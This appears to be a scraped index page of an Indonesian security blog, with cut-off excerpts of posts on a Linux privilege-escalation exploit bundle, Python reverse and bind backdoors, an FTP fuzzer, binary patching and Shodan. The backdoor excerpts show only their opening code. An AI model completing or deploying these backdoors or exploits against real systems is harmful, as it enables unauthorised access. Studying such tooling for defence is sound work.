I have created a script that contains of local privilege escalation exploits that was published onExploit-DB.com [http://www.exploit-db.com] between October – November 2010. Take a look at here 201011-0day-linux-exploit.tar.bz2 [https://github.com/modpr0be/exploit-dev/raw/master/scripts/201011-0day-linux-exploit.tar.bz2] (md5sum: b890f6aeccf1721267166e221cd547df) *Update: I rename the

#!/usr/bin/python import sys pgun='''penggunaan: %s <kalimat> contoh: python %s saya pusing'''%(sys.argv[0],sys.argv[0]) def main(): args = sys.argv[1:] if len(sys.argv) <= 1: print pgun sys.exit(1) #reverse kata (dalam bentuk list)

#!/usr/bin/python #Info : This is a linux based reverse connection backdoor and # this is NOT an interactive Shell! #Author : otoy #Date : 0x102010 #Blog : otoyrood.wordpress.com import socket,sys,os,re #define osinf = os.uname() info='''==================================== py_backdoor ==================================== Author : otoy Date : 0x102010 Blog : otoyrood.wordpress.com

#!/usr/bin/python # Info: This is a linux based bind backdoor and # this is NOT an interactive Shell! # Author: otoy# Date: 0x102010 # Blog: otoyrood.wordpress.com import socket, sys, os, re def daemonize(): pid = os.fork() if (pid != 0): os._exit(0) def main(): if len(sys.argv) < 2:

#!/usr/bin/python import os, re osenv = str(os.environ) usrpat = re.compile(' 'USER': '(.*?)'') homepat = re.compile(' 'HOME': '(.*?)'') usrp = usrpat.findall(osenv) hmrp = homepat.findall(osenv) print 'USERNAME :' + usrp[0] print 'HOME :' + hmrp[0]

Written in Python, i try to make a simple fuzzer for FTP server. This script will try to fuzz the commands like APPE, USER, LIST, CWD, etc..you can find all commands here [http://en.wikipedia.org/wiki/List_of_FTP_commands] ? This script is simply a modified version from

Dengan melakukan reverse engineering dan menganalisa kode sebuah program (assembler), kita bisa melakukan patching terhadap sebuah program dengan merubah alur program tersebut sesuai dengan yang kita inginkan. Pada tulisan kali ini, saya akan coba sedikit menjelaskan bagaimana melakukan patching tersebut. Kita akan menggunakan program sederhana berikut ini: #include <stdio.

[http://www.shodanhq.com] Pada Defcon [https://www.defcon.org/] 18 tahun ini, Michael Schearer [https://www.defcon.org/html/defcon-18/dc-18-speakers.html#Schearer] (“theprez98”), mempresentasikan Shodan [http://www.shodanhq.com] sebagai “tools” bagi para pentester, lalu bagaimana memanfaatkan Shodan [http://www.shodanhq.com] sebagai “tools” untuk pentesting..? untuk lebih